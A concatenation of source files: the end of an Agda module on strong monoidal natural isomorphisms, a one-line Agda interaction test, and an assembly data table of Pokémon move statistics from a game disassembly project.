infixr 9 _ⓘᵥ_
-- Since they contain the same data, we can strengthen a lax
-- monoidal isomorphism to a strong one.
strengthen : {F G : StrongMonoidalFunctor C D} →
(laxF F) Lax.≃ (laxF G) → F ≃ G
strengthen α = record { U = L.U ; F⇒G-isMonoidal = L.F⇒G-isMonoidal }
where module L = Lax.MonoidalNaturalIsomorphism α
-- Identity and compositions
id : {F : StrongMonoidalFunctor C D} → F ≃ F
id = strengthen Lax.id
_ⓘᵥ_ : {F G H : StrongMonoidalFunctor C D} → G ≃ H → F ≃ G → F ≃ H
α ⓘᵥ β = strengthen (laxNI α Lax.ⓘᵥ laxNI β)
isEquivalence : IsEquivalence _≃_
isEquivalence = record
{ refl = λ {F} → id {F}
; sym = λ α → record
{ U = NI.sym (U α)
; F⇒G-isMonoidal = F⇐G-isMonoidal α
}
; trans = λ {F} {G} {H} α β → _ⓘᵥ_ {F} {G} {H} β α
}
module _ {o ℓ e o′ ℓ′ e′ o″ ℓ″ e″}
{C : MonoidalCategory o ℓ e} {D : MonoidalCategory o′ ℓ′ e′}
{E : MonoidalCategory o″ ℓ″ e″} where
open Lax.MonoidalNaturalIsomorphism
infixr 9 _ⓘₕ_ _ⓘˡ_ _ⓘʳ_
_ⓘₕ_ : {F G : StrongMonoidalFunctor C D} {H I : StrongMonoidalFunctor D E} →
H ≃ I → F ≃ G → (H ∘Fˢ F) ≃ (I ∘Fˢ G)
-- FIXME: this definition is clearly equivalent to
--
-- α ⓘₕ β = strengthen (laxNI α Lax.ⓘₕ laxNI β)
--
-- but the latter takes an unreasonably long time to typecheck,
-- while the unfolded version typechecks almost immediately.
α ⓘₕ β = record
{ U = L.U
; F⇒G-isMonoidal = record
{ ε-compat = L.ε-compat
; ⊗-homo-compat = L.⊗-homo-compat }
}
where
module L = Lax.MonoidalNaturalIsomorphism (laxNI α Lax.ⓘₕ laxNI β)
_ⓘˡ_ : {F G : StrongMonoidalFunctor C D}
(H : StrongMonoidalFunctor D E) → F ≃ G → (H ∘Fˢ F) ≃ (H ∘Fˢ G)
H ⓘˡ α = id {F = H} ⓘₕ α
_ⓘʳ_ : {G H : StrongMonoidalFunctor D E} →
G ≃ H → (F : StrongMonoidalFunctor C D) → (G ∘Fˢ F) ≃ (H ∘Fˢ F)
α ⓘʳ F = α ⓘₕ id {F = F}
-- Left and right unitors.
module _ {o ℓ e o′ ℓ′ e′}
{C : MonoidalCategory o ℓ e} {D : MonoidalCategory o′ ℓ′ e′}
{F : StrongMonoidalFunctor C D} where
unitorˡ : idFˢ D ∘Fˢ F ≃ F
-- FIXME: Again, this unfolded definition typechecks considerably
-- faster than the equivalent
--
-- strengthen (Lax.unitorʳ {F = laxF F})
unitorˡ = record
{ U = L.U
; F⇒G-isMonoidal = record
{ ε-compat = L.ε-compat
; ⊗-homo-compat = L.⊗-homo-compat
}
}
where module L = Lax.MonoidalNaturalIsomorphism (Lax.unitorˡ {F = laxF F})
unitorʳ : F ∘Fˢ idFˢ C ≃ F
-- FIXME: ... same here ...
unitorʳ = record
{ U = L.U
; F⇒G-isMonoidal = record
{ ε-compat = L.ε-compat
; ⊗-homo-compat = L.⊗-homo-compat
}
}
where module L = Lax.MonoidalNaturalIsomorphism (Lax.unitorʳ {F = laxF F})
-- Associator.
module _ {o ℓ e o′ ℓ′ e′ o″ ℓ″ e″ o‴ ℓ‴ e‴}
{B : MonoidalCategory o ℓ e} {C : MonoidalCategory o′ ℓ′ e′}
{D : MonoidalCategory o″ ℓ″ e″} {E : MonoidalCategory o‴ ℓ‴ e‴}
{F : StrongMonoidalFunctor B C} {G : StrongMonoidalFunctor C D}
{H : StrongMonoidalFunctor D E} where
associator : (H ∘Fˢ G) ∘Fˢ F ≃ H ∘Fˢ (G ∘Fˢ F)
-- FIXME: ... and here. Though, for this one, even the unfolded
-- version takes a lot of time.
associator = record
{ U = L.U
; F⇒G-isMonoidal = record
{ ε-compat = L.ε-compat
; ⊗-homo-compat = L.⊗-homo-compat
}
}
where
α = Lax.associator {F = laxF F} {laxF G} {laxF H}
module L = Lax.MonoidalNaturalIsomorphism α
|
test/interaction/Issue1148.agda | masondesu/agda | 1 | 5446 | module Issue1148 where
foo : Set → Set
foo = {!!}
|
data/moves/moves.asm | AtmaBuster/pokeplat-gen2 | 6 | 90688 | <gh_stars>1-10
; Characteristics of each move.
move: MACRO
; the animation byte will be filled when the move is loaded
db \1 ; effect
db \2 ; power
db \3 | \7 ; type and category
db \4 percent ; accuracy
db \5 ; pp
db \6 percent ; effect chance
ENDM
Moves::
; entries correspond to constants/move_constants.asm
indirect_table MOVE_LENGTH - 1, 1
indirect_entries BEAT_UP, Moves1
indirect_entries NUM_ATTACKS, Moves2
indirect_table_end
Moves1:
move EFFECT_NORMAL_HIT, 40, NORMAL, 100, 35, 0, PHYSICAL ;POUND
move EFFECT_NORMAL_HIT, 50, FIGHTING, 100, 25, 0, PHYSICAL ;KARATE_CHOP
move EFFECT_MULTI_HIT, 15, NORMAL, 85, 10, 0, PHYSICAL ;DOUBLESLAP
move EFFECT_MULTI_HIT, 18, NORMAL, 85, 15, 0, PHYSICAL ;COMET_PUNCH
move EFFECT_NORMAL_HIT, 80, NORMAL, 85, 20, 0, PHYSICAL ;MEGA_PUNCH
move EFFECT_PAY_DAY, 40, NORMAL, 100, 20, 0, PHYSICAL ;PAY_DAY
move EFFECT_BURN_HIT, 75, FIRE, 100, 15, 10, PHYSICAL ;FIRE_PUNCH
move EFFECT_FREEZE_HIT, 75, ICE, 100, 15, 10, PHYSICAL ;ICE_PUNCH
move EFFECT_PARALYZE_HIT, 75, ELECTRIC, 100, 15, 10, PHYSICAL ;THUNDERPUNCH
move EFFECT_NORMAL_HIT, 40, NORMAL, 100, 35, 0, PHYSICAL ;SCRATCH
move EFFECT_NORMAL_HIT, 55, NORMAL, 100, 30, 0, PHYSICAL ;VICEGRIP
move EFFECT_OHKO, 0, NORMAL, 30, 5, 0, PHYSICAL ;GUILLOTINE
move EFFECT_RAZOR_WIND, 80, NORMAL, 75, 10, 0, SPECIAL ;RAZOR_WIND
move EFFECT_ATTACK_UP_2, 0, NORMAL, 100, 30, 0, STATUS ;SWORDS_DANCE
move EFFECT_NORMAL_HIT, 50, NORMAL, 95, 30, 0, PHYSICAL ;CUT
move EFFECT_GUST, 40, FLYING, 100, 35, 0, SPECIAL ;GUST
move EFFECT_NORMAL_HIT, 60, FLYING, 100, 35, 0, PHYSICAL ;WING_ATTACK
move EFFECT_FORCE_SWITCH, 0, NORMAL, 100, 20, 0, STATUS ;WHIRLWIND
move EFFECT_FLY, 70, FLYING, 95, 15, 0, PHYSICAL ;FLY
move EFFECT_TRAP_TARGET, 15, NORMAL, 75, 20, 0, PHYSICAL ;BIND
move EFFECT_NORMAL_HIT, 80, NORMAL, 75, 20, 0, PHYSICAL ;SLAM
move EFFECT_NORMAL_HIT, 35, GRASS, 100, 10, 0, PHYSICAL ;VINE_WHIP
move EFFECT_STOMP, 65, NORMAL, 100, 20, 30, PHYSICAL ;STOMP
move EFFECT_DOUBLE_HIT, 30, FIGHTING, 100, 30, 0, PHYSICAL ;DOUBLE_KICK
move EFFECT_NORMAL_HIT, 120, NORMAL, 75, 5, 0, PHYSICAL ;MEGA_KICK
move EFFECT_JUMP_KICK, 70, FIGHTING, 95, 25, 0, PHYSICAL ;JUMP_KICK
move EFFECT_FLINCH_HIT, 60, FIGHTING, 85, 15, 30, PHYSICAL ;ROLLING_KICK
move EFFECT_ACCURACY_DOWN, 0, GROUND, 100, 15, 0, STATUS ;SAND_ATTACK
move EFFECT_FLINCH_HIT, 70, NORMAL, 100, 15, 30, PHYSICAL ;HEADBUTT
move EFFECT_NORMAL_HIT, 65, NORMAL, 100, 25, 0, PHYSICAL ;HORN_ATTACK
move EFFECT_MULTI_HIT, 15, NORMAL, 85, 20, 0, PHYSICAL ;FURY_ATTACK
move EFFECT_OHKO, 1, NORMAL, 30, 5, 0, PHYSICAL ;HORN_DRILL
move EFFECT_NORMAL_HIT, 35, NORMAL, 95, 35, 0, PHYSICAL ;TACKLE
move EFFECT_PARALYZE_HIT, 85, NORMAL, 100, 15, 30, PHYSICAL ;BODY_SLAM
move EFFECT_TRAP_TARGET, 15, NORMAL, 85, 20, 0, PHYSICAL ;WRAP
move EFFECT_RECOIL_1_4, 90, NORMAL, 85, 20, 0, PHYSICAL ;TAKE_DOWN
move EFFECT_RAMPAGE, 90, NORMAL, 100, 20, 0, PHYSICAL ;THRASH
move EFFECT_RECOIL_HIT, 120, NORMAL, 100, 15, 0, PHYSICAL ;DOUBLE_EDGE
move EFFECT_DEFENSE_DOWN, 0, NORMAL, 100, 30, 0, STATUS ;TAIL_WHIP
move EFFECT_POISON_HIT, 15, POISON, 100, 35, 30, PHYSICAL ;POISON_STING
move EFFECT_POISON_MULTI_HIT, 25, BUG, 100, 20, 20, PHYSICAL ;TWINEEDLE
move EFFECT_MULTI_HIT, 14, BUG, 85, 20, 0, PHYSICAL ;PIN_MISSILE
move EFFECT_DEFENSE_DOWN, 0, NORMAL, 100, 30, 0, STATUS ;LEER
move EFFECT_FLINCH_HIT, 60, DARK, 100, 25, 30, PHYSICAL ;BITE
move EFFECT_ATTACK_DOWN, 0, NORMAL, 100, 40, 0, STATUS ;GROWL
move EFFECT_FORCE_SWITCH, 0, NORMAL, 100, 20, 0, STATUS ;ROAR
move EFFECT_SLEEP, 0, NORMAL, 55, 15, 0, STATUS ;SING
move EFFECT_CONFUSE, 0, NORMAL, 55, 20, 0, STATUS ;SUPERSONIC
move EFFECT_STATIC_DAMAGE, 20, NORMAL, 90, 20, 0, SPECIAL ;SONICBOOM
move EFFECT_DISABLE, 0, NORMAL, 55, 20, 0, STATUS ;DISABLE
move EFFECT_DEFENSE_DOWN_HIT, 40, POISON, 100, 30, 10, SPECIAL ;ACID
move EFFECT_BURN_HIT, 40, FIRE, 100, 25, 10, SPECIAL ;EMBER
move EFFECT_BURN_HIT, 95, FIRE, 100, 15, 10, SPECIAL ;FLAMETHROWER
move EFFECT_MIST, 0, ICE, 100, 30, 0, STATUS ;MIST
move EFFECT_NORMAL_HIT, 40, WATER, 100, 25, 0, SPECIAL ;WATER_GUN
move EFFECT_NORMAL_HIT, 120, WATER, 80, 5, 0, SPECIAL ;HYDRO_PUMP
move EFFECT_SURF, 95, WATER, 100, 15, 0, SPECIAL ;SURF
move EFFECT_FREEZE_HIT, 95, ICE, 100, 10, 10, SPECIAL ;ICE_BEAM
move EFFECT_FREEZE_HIT, 120, ICE, 70, 5, 10, SPECIAL ;BLIZZARD
move EFFECT_CONFUSE_HIT, 65, PSYCHIC, 100, 20, 10, SPECIAL ;PSYBEAM
move EFFECT_SPEED_DOWN_HIT, 65, WATER, 100, 20, 10, SPECIAL ;BUBBLEBEAM
move EFFECT_ATTACK_DOWN_HIT, 65, ICE, 100, 20, 10, SPECIAL ;AURORA_BEAM
move EFFECT_HYPER_BEAM, 150, NORMAL, 90, 5, 0, SPECIAL ;HYPER_BEAM
move EFFECT_NORMAL_HIT, 35, FLYING, 100, 35, 0, PHYSICAL ;PECK
move EFFECT_NORMAL_HIT, 80, FLYING, 100, 20, 0, PHYSICAL ;DRILL_PECK
move EFFECT_RECOIL_1_4, 80, FIGHTING, 80, 25, 0, PHYSICAL ;SUBMISSION
move EFFECT_WEIGHT_DAMAGE, 1, FIGHTING, 100, 20, 0, PHYSICAL ;LOW_KICK
move EFFECT_COUNTER, 1, FIGHTING, 100, 20, 0, PHYSICAL ;COUNTER
move EFFECT_LEVEL_DAMAGE, 1, FIGHTING, 100, 20, 0, PHYSICAL ;SEISMIC_TOSS
move EFFECT_NORMAL_HIT, 80, NORMAL, 100, 15, 0, PHYSICAL ;STRENGTH
move EFFECT_LEECH_HIT, 20, GRASS, 100, 20, 0, SPECIAL ;ABSORB
move EFFECT_LEECH_HIT, 40, GRASS, 100, 10, 0, SPECIAL ;MEGA_DRAIN
move EFFECT_LEECH_SEED, 0, GRASS, 90, 10, 0, STATUS ;LEECH_SEED
move EFFECT_SP_ATK_UP, 0, NORMAL, 100, 40, 0, STATUS ;GROWTH
move EFFECT_NORMAL_HIT, 55, GRASS, 95, 25, 0, PHYSICAL ;RAZOR_LEAF
move EFFECT_SOLARBEAM, 120, GRASS, 100, 10, 0, SPECIAL ;SOLARBEAM
move EFFECT_POISON, 0, POISON, 75, 35, 0, STATUS ;POISONPOWDER
move EFFECT_PARALYZE, 0, GRASS, 75, 30, 0, STATUS ;STUN_SPORE
move EFFECT_SLEEP, 0, GRASS, 75, 15, 0, STATUS ;SLEEP_POWDER
move EFFECT_RAMPAGE, 70, GRASS, 100, 20, 0, SPECIAL ;PETAL_DANCE
move EFFECT_SPEED_DOWN, 0, BUG, 95, 40, 0, STATUS ;STRING_SHOT
move EFFECT_STATIC_DAMAGE, 40, DRAGON, 100, 10, 0, SPECIAL ;DRAGON_RAGE
move EFFECT_TRAP_TARGET, 15, FIRE, 70, 15, 0, SPECIAL ;FIRE_SPIN
move EFFECT_PARALYZE_HIT, 40, ELECTRIC, 100, 30, 10, SPECIAL ;THUNDERSHOCK
move EFFECT_PARALYZE_HIT, 95, ELECTRIC, 100, 15, 10, SPECIAL ;THUNDERBOLT
move EFFECT_PARALYZE, 0, ELECTRIC, 100, 20, 0, STATUS ;THUNDER_WAVE
move EFFECT_THUNDER, 120, ELECTRIC, 70, 10, 30, SPECIAL ;THUNDER
move EFFECT_NORMAL_HIT, 50, ROCK, 90, 15, 0, PHYSICAL ;ROCK_THROW
move EFFECT_EARTHQUAKE, 100, GROUND, 100, 10, 0, PHYSICAL ;EARTHQUAKE
move EFFECT_OHKO, 1, GROUND, 30, 5, 0, PHYSICAL ;FISSURE
move EFFECT_FLY, 60, GROUND, 100, 10, 0, PHYSICAL ;DIG
move EFFECT_TOXIC, 0, POISON, 85, 10, 0, STATUS ;TOXIC
move EFFECT_CONFUSE_HIT, 50, PSYCHIC, 100, 25, 10, SPECIAL ;CONFUSION
move EFFECT_SP_DEF_DOWN_HIT, 90, PSYCHIC, 100, 10, 10, SPECIAL ;PSYCHIC_M
move EFFECT_SLEEP, 0, PSYCHIC, 60, 20, 0, STATUS ;HYPNOSIS
move EFFECT_ATTACK_UP, 0, PSYCHIC, 100, 40, 0, STATUS ;MEDITATE
move EFFECT_SPEED_UP_2, 0, PSYCHIC, 100, 30, 0, STATUS ;AGILITY
move EFFECT_PRIORITY_HIT, 40, NORMAL, 100, 30, 0, PHYSICAL ;QUICK_ATTACK
move EFFECT_RAGE, 20, NORMAL, 100, 20, 0, PHYSICAL ;RAGE
move EFFECT_TELEPORT, 0, PSYCHIC, 100, 20, 0, STATUS ;TELEPORT
move EFFECT_LEVEL_DAMAGE, 1, GHOST, 100, 15, 0, SPECIAL ;NIGHT_SHADE
move EFFECT_MIMIC, 0, NORMAL, 100, 10, 0, STATUS ;MIMIC
move EFFECT_DEFENSE_DOWN_2, 0, NORMAL, 85, 40, 0, STATUS ;SCREECH
move EFFECT_EVASION_UP, 0, NORMAL, 100, 15, 0, STATUS ;DOUBLE_TEAM
move EFFECT_HEAL, 0, NORMAL, 100, 20, 0, STATUS ;RECOVER
move EFFECT_DEFENSE_UP, 0, NORMAL, 100, 30, 0, STATUS ;HARDEN
move EFFECT_EVASION_UP, 0, NORMAL, 100, 20, 0, STATUS ;MINIMIZE
move EFFECT_ACCURACY_DOWN, 0, NORMAL, 100, 20, 0, STATUS ;SMOKESCREEN
move EFFECT_CONFUSE, 0, GHOST, 100, 10, 0, STATUS ;CONFUSE_RAY
move EFFECT_DEFENSE_UP, 0, WATER, 100, 40, 0, STATUS ;WITHDRAW
move EFFECT_DEFENSE_CURL, 0, NORMAL, 100, 40, 0, STATUS ;DEFENSE_CURL
move EFFECT_DEFENSE_UP_2, 0, PSYCHIC, 100, 30, 0, STATUS ;BARRIER
move EFFECT_LIGHT_SCREEN, 0, PSYCHIC, 100, 30, 0, STATUS ;LIGHT_SCREEN
move EFFECT_RESET_STATS, 0, ICE, 100, 30, 0, STATUS ;HAZE
move EFFECT_REFLECT, 0, PSYCHIC, 100, 20, 0, STATUS ;REFLECT
move EFFECT_FOCUS_ENERGY, 0, NORMAL, 100, 30, 0, STATUS ;FOCUS_ENERGY
move EFFECT_BIDE, 0, NORMAL, 100, 10, 0, PHYSICAL ;BIDE
move EFFECT_METRONOME, 0, NORMAL, 100, 10, 0, STATUS ;METRONOME
move EFFECT_MIRROR_MOVE, 0, FLYING, 100, 20, 0, STATUS ;MIRROR_MOVE
move EFFECT_SELFDESTRUCT, 200, NORMAL, 100, 5, 0, PHYSICAL ;SELFDESTRUCT
move EFFECT_NORMAL_HIT, 100, NORMAL, 75, 10, 0, PHYSICAL ;EGG_BOMB
move EFFECT_PARALYZE_HIT, 20, GHOST, 100, 30, 30, PHYSICAL ;LICK
move EFFECT_POISON_HIT, 20, POISON, 70, 20, 40, SPECIAL ;SMOG
move EFFECT_POISON_HIT, 65, POISON, 100, 20, 30, SPECIAL ;SLUDGE
move EFFECT_FLINCH_HIT, 65, GROUND, 85, 20, 10, PHYSICAL ;BONE_CLUB
move EFFECT_BURN_HIT, 120, FIRE, 85, 5, 10, SPECIAL ;FIRE_BLAST
move EFFECT_NORMAL_HIT, 80, WATER, 100, 15, 0, PHYSICAL ;WATERFALL
move EFFECT_TRAP_TARGET, 35, WATER, 75, 10, 0, PHYSICAL ;CLAMP
move EFFECT_ALWAYS_HIT, 60, NORMAL, 100, 20, 0, SPECIAL ;SWIFT
move EFFECT_SKULL_BASH, 100, NORMAL, 100, 15, 0, PHYSICAL ;SKULL_BASH
move EFFECT_MULTI_HIT, 20, NORMAL, 100, 15, 0, PHYSICAL ;SPIKE_CANNON
move EFFECT_SPEED_DOWN_HIT, 10, NORMAL, 100, 35, 10, PHYSICAL ;CONSTRICT
move EFFECT_SP_DEF_UP_2, 0, PSYCHIC, 100, 20, 0, STATUS ;AMNESIA
move EFFECT_ACCURACY_DOWN, 0, PSYCHIC, 80, 15, 0, STATUS ;KINESIS
move EFFECT_HEAL, 0, NORMAL, 100, 10, 0, STATUS ;SOFTBOILED
move EFFECT_JUMP_KICK, 85, FIGHTING, 90, 20, 0, PHYSICAL ;HI_JUMP_KICK
move EFFECT_PARALYZE, 0, NORMAL, 75, 30, 0, STATUS ;GLARE
move EFFECT_DREAM_EATER, 100, PSYCHIC, 100, 15, 0, SPECIAL ;DREAM_EATER
move EFFECT_POISON, 0, POISON, 55, 40, 0, STATUS ;POISON_GAS
move EFFECT_MULTI_HIT, 15, NORMAL, 85, 20, 0, PHYSICAL ;BARRAGE
move EFFECT_LEECH_HIT, 20, BUG, 100, 15, 0, PHYSICAL ;LEECH_LIFE
move EFFECT_SLEEP, 0, NORMAL, 75, 10, 0, STATUS ;LOVELY_KISS
move EFFECT_SKY_ATTACK, 140, FLYING, 90, 5, 0, PHYSICAL ;SKY_ATTACK
move EFFECT_TRANSFORM, 0, NORMAL, 100, 10, 0, STATUS ;TRANSFORM
move EFFECT_SPEED_DOWN_HIT, 20, WATER, 100, 30, 10, SPECIAL ;BUBBLE
move EFFECT_CONFUSE_HIT, 70, NORMAL, 100, 10, 20, PHYSICAL ;DIZZY_PUNCH
move EFFECT_SLEEP, 0, GRASS, 100, 15, 0, STATUS ;SPORE
move EFFECT_ACCURACY_DOWN, 0, NORMAL, 70, 20, 0, STATUS ;FLASH
move EFFECT_PSYWAVE, 1, PSYCHIC, 80, 15, 0, SPECIAL ;PSYWAVE
move EFFECT_SPLASH, 0, NORMAL, 100, 40, 0, STATUS ;SPLASH
move EFFECT_DEFENSE_UP_2, 0, POISON, 100, 40, 0, STATUS ;ACID_ARMOR
move EFFECT_NORMAL_HIT, 90, WATER, 85, 10, 0, PHYSICAL ;CRABHAMMER
move EFFECT_SELFDESTRUCT, 250, NORMAL, 100, 5, 0, PHYSICAL ;EXPLOSION
move EFFECT_MULTI_HIT, 18, NORMAL, 80, 15, 0, PHYSICAL ;FURY_SWIPES
move EFFECT_DOUBLE_HIT, 50, GROUND, 90, 10, 0, PHYSICAL ;BONEMERANG
move EFFECT_HEAL, 0, PSYCHIC, 100, 10, 0, STATUS ;REST
move EFFECT_FLINCH_HIT, 75, ROCK, 90, 10, 30, PHYSICAL ;ROCK_SLIDE
move EFFECT_FLINCH_HIT, 80, NORMAL, 90, 15, 10, PHYSICAL ;HYPER_FANG
move EFFECT_ATTACK_UP, 0, NORMAL, 100, 30, 0, STATUS ;SHARPEN
move EFFECT_CONVERSION, 0, NORMAL, 100, 30, 0, STATUS ;CONVERSION
move EFFECT_TRI_ATTACK, 80, NORMAL, 100, 10, 20, SPECIAL ;TRI_ATTACK
move EFFECT_SUPER_FANG, 1, NORMAL, 90, 10, 0, PHYSICAL ;SUPER_FANG
move EFFECT_NORMAL_HIT, 70, NORMAL, 100, 20, 0, PHYSICAL ;SLASH
move EFFECT_SUBSTITUTE, 0, NORMAL, 100, 10, 0, STATUS ;SUBSTITUTE
move EFFECT_RECOIL_1_4, 50, NORMAL, 100, 1, 0, PHYSICAL ;STRUGGLE
move EFFECT_SKETCH, 0, NORMAL, 100, 1, 0, STATUS ;SKETCH
move EFFECT_TRIPLE_KICK, 10, FIGHTING, 90, 10, 0, PHYSICAL ;TRIPLE_KICK
move EFFECT_THIEF, 40, DARK, 100, 10, 100, PHYSICAL ;THIEF
move EFFECT_MEAN_LOOK, 0, BUG, 100, 10, 0, STATUS ;SPIDER_WEB
move EFFECT_LOCK_ON, 0, NORMAL, 100, 5, 0, STATUS ;MIND_READER
move EFFECT_NIGHTMARE, 0, GHOST, 100, 15, 0, STATUS ;NIGHTMARE
move EFFECT_FLAME_WHEEL, 60, FIRE, 100, 25, 10, PHYSICAL ;FLAME_WHEEL
move EFFECT_SNORE, 40, NORMAL, 100, 15, 30, SPECIAL ;SNORE
move EFFECT_CURSE, 0, CURSE_T, 100, 10, 0, STATUS ;CURSE
move EFFECT_REVERSAL, 1, NORMAL, 100, 15, 0, PHYSICAL ;FLAIL
move EFFECT_CONVERSION2, 0, NORMAL, 100, 30, 0, STATUS ;CONVERSION2
move EFFECT_NORMAL_HIT, 100, FLYING, 95, 5, 0, SPECIAL ;AEROBLAST
move EFFECT_SPEED_DOWN_2, 0, GRASS, 85, 40, 0, STATUS ;COTTON_SPORE
move EFFECT_REVERSAL, 1, FIGHTING, 100, 15, 0, PHYSICAL ;REVERSAL
move EFFECT_SPITE, 0, GHOST, 100, 10, 0, STATUS ;SPITE
move EFFECT_FREEZE_HIT, 40, ICE, 100, 25, 10, SPECIAL ;POWDER_SNOW
move EFFECT_PROTECT, 0, NORMAL, 100, 10, 0, STATUS ;PROTECT
move EFFECT_PRIORITY_HIT, 40, FIGHTING, 100, 30, 0, PHYSICAL ;MACH_PUNCH
move EFFECT_SPEED_DOWN_2, 0, NORMAL, 90, 10, 0, STATUS ;SCARY_FACE
move EFFECT_ALWAYS_HIT, 60, DARK, 100, 20, 0, PHYSICAL ;FAINT_ATTACK
move EFFECT_CONFUSE, 0, NORMAL, 75, 10, 0, STATUS ;SWEET_KISS
move EFFECT_BELLY_DRUM, 0, NORMAL, 100, 10, 0, STATUS ;BELLY_DRUM
move EFFECT_POISON_HIT, 90, POISON, 100, 10, 30, SPECIAL ;SLUDGE_BOMB
move EFFECT_ACCURACY_DOWN_HIT, 20, GROUND, 100, 10, 100, SPECIAL ;MUD_SLAP
move EFFECT_ACCURACY_DOWN_HIT, 65, WATER, 85, 10, 50, SPECIAL ;OCTAZOOKA
move EFFECT_SPIKES, 0, GROUND, 100, 20, 0, STATUS ;SPIKES
move EFFECT_PARALYZE_HIT, 100, ELECTRIC, 50, 5, 100, SPECIAL ;ZAP_CANNON
move EFFECT_FORESIGHT, 0, NORMAL, 100, 40, 0, STATUS ;FORESIGHT
move EFFECT_DESTINY_BOND, 0, GHOST, 100, 5, 0, STATUS ;DESTINY_BOND
move EFFECT_PERISH_SONG, 0, NORMAL, 100, 5, 0, STATUS ;PERISH_SONG
move EFFECT_SPEED_DOWN_HIT, 55, ICE, 95, 15, 100, SPECIAL ;ICY_WIND
move EFFECT_PROTECT, 0, FIGHTING, 100, 5, 0, STATUS ;DETECT
move EFFECT_MULTI_HIT, 25, GROUND, 80, 10, 0, PHYSICAL ;BONE_RUSH
move EFFECT_LOCK_ON, 0, NORMAL, 100, 5, 0, STATUS ;LOCK_ON
move EFFECT_RAMPAGE, 90, DRAGON, 100, 15, 0, PHYSICAL ;OUTRAGE
move EFFECT_SANDSTORM, 0, ROCK, 100, 10, 0, STATUS ;SANDSTORM
move EFFECT_LEECH_HIT, 60, GRASS, 100, 5, 0, SPECIAL ;GIGA_DRAIN
move EFFECT_ENDURE, 0, NORMAL, 100, 10, 0, STATUS ;ENDURE
move EFFECT_ATTACK_DOWN_2, 0, NORMAL, 100, 20, 0, STATUS ;CHARM
move EFFECT_ROLLOUT, 30, ROCK, 90, 20, 0, PHYSICAL ;ROLLOUT
move EFFECT_FALSE_SWIPE, 40, NORMAL, 100, 40, 0, PHYSICAL ;FALSE_SWIPE
move EFFECT_SWAGGER, 0, NORMAL, 90, 15, 100, STATUS ;SWAGGER
move EFFECT_HEAL, 0, NORMAL, 100, 10, 0, STATUS ;MILK_DRINK
move EFFECT_PARALYZE_HIT, 65, ELECTRIC, 100, 20, 30, PHYSICAL ;SPARK
move EFFECT_FURY_CUTTER, 10, BUG, 95, 20, 0, PHYSICAL ;FURY_CUTTER
move EFFECT_DEFENSE_UP_HIT, 70, STEEL, 90, 25, 10, PHYSICAL ;STEEL_WING
move EFFECT_MEAN_LOOK, 0, NORMAL, 100, 5, 0, STATUS ;MEAN_LOOK
move EFFECT_ATTRACT, 0, NORMAL, 100, 15, 0, STATUS ;ATTRACT
move EFFECT_SLEEP_TALK, 0, NORMAL, 100, 10, 0, STATUS ;SLEEP_TALK
move EFFECT_HEAL_BELL, 0, NORMAL, 100, 5, 0, STATUS ;HEAL_BELL
move EFFECT_RETURN, 1, NORMAL, 100, 20, 0, PHYSICAL ;RETURN
move EFFECT_PRESENT, 1, NORMAL, 90, 15, 0, PHYSICAL ;PRESENT
move EFFECT_FRUSTRATION, 1, NORMAL, 100, 20, 0, PHYSICAL ;FRUSTRATION
move EFFECT_SAFEGUARD, 0, NORMAL, 100, 25, 0, STATUS ;SAFEGUARD
move EFFECT_PAIN_SPLIT, 0, NORMAL, 100, 20, 0, STATUS ;PAIN_SPLIT
move EFFECT_SACRED_FIRE, 100, FIRE, 95, 5, 50, PHYSICAL ;SACRED_FIRE
move EFFECT_MAGNITUDE, 1, GROUND, 100, 30, 0, PHYSICAL ;MAGNITUDE
move EFFECT_CONFUSE_HIT, 100, FIGHTING, 50, 5, 100, PHYSICAL ;DYNAMICPUNCH
move EFFECT_NORMAL_HIT, 120, BUG, 85, 10, 0, PHYSICAL ;MEGAHORN
move EFFECT_PARALYZE_HIT, 60, DRAGON, 100, 20, 30, SPECIAL ;DRAGONBREATH
move EFFECT_BATON_PASS, 0, NORMAL, 100, 40, 0, STATUS ;BATON_PASS
move EFFECT_ENCORE, 0, NORMAL, 100, 5, 0, STATUS ;ENCORE
move EFFECT_PURSUIT, 40, DARK, 100, 20, 0, PHYSICAL ;PURSUIT
move EFFECT_RAPID_SPIN, 20, NORMAL, 100, 40, 0, PHYSICAL ;RAPID_SPIN
move EFFECT_EVASION_DOWN, 0, NORMAL, 100, 20, 0, STATUS ;SWEET_SCENT
move EFFECT_DEFENSE_DOWN_HIT, 100, STEEL, 75, 15, 30, PHYSICAL ;IRON_TAIL
move EFFECT_ATTACK_UP_HIT, 50, STEEL, 95, 35, 10, PHYSICAL ;METAL_CLAW
move EFFECT_VITAL_THROW, 70, FIGHTING, 100, 10, 0, PHYSICAL ;VITAL_THROW
move EFFECT_MORNING_SUN, 0, NORMAL, 100, 5, 0, STATUS ;MORNING_SUN
move EFFECT_SYNTHESIS, 0, GRASS, 100, 5, 0, STATUS ;SYNTHESIS
move EFFECT_MOONLIGHT, 0, NORMAL, 100, 5, 0, STATUS ;MOONLIGHT
move EFFECT_HIDDEN_POWER, 1, NORMAL, 100, 15, 0, SPECIAL ;HIDDEN_POWER
move EFFECT_NORMAL_HIT, 100, FIGHTING, 80, 5, 0, PHYSICAL ;CROSS_CHOP
move EFFECT_TWISTER, 40, DRAGON, 100, 20, 20, SPECIAL ;TWISTER
move EFFECT_RAIN_DANCE, 0, WATER, 90, 5, 0, STATUS ;RAIN_DANCE
move EFFECT_SUNNY_DAY, 0, FIRE, 90, 5, 0, STATUS ;SUNNY_DAY
move EFFECT_SP_DEF_DOWN_HIT, 80, DARK, 100, 15, 20, PHYSICAL ;CRUNCH
move EFFECT_MIRROR_COAT, 1, PSYCHIC, 100, 20, 0, SPECIAL ;MIRROR_COAT
move EFFECT_PSYCH_UP, 0, NORMAL, 100, 10, 0, STATUS ;PSYCH_UP
move EFFECT_PRIORITY_HIT, 80, NORMAL, 100, 5, 0, PHYSICAL ;EXTREMESPEED
move EFFECT_ALL_UP_HIT, 60, ROCK, 100, 5, 10, SPECIAL ;ANCIENTPOWER
move EFFECT_SP_DEF_DOWN_HIT, 80, GHOST, 100, 15, 20, SPECIAL ;SHADOW_BALL
move EFFECT_FUTURE_SIGHT, 80, PSYCHIC, 90, 15, 0, SPECIAL ;FUTURE_SIGHT
move EFFECT_DEFENSE_DOWN_HIT, 20, FIGHTING, 100, 15, 50, PHYSICAL ;ROCK_SMASH
move EFFECT_WHIRLPOOL, 15, WATER, 70, 15, 0, SPECIAL ;WHIRLPOOL
move EFFECT_BEAT_UP, 10, DARK, 100, 10, 0, PHYSICAL ;BEAT_UP
Moves2:
move EFFECT_FAKE_OUT, 40, NORMAL, 100, 10, 0, PHYSICAL ;FAKE_OUT
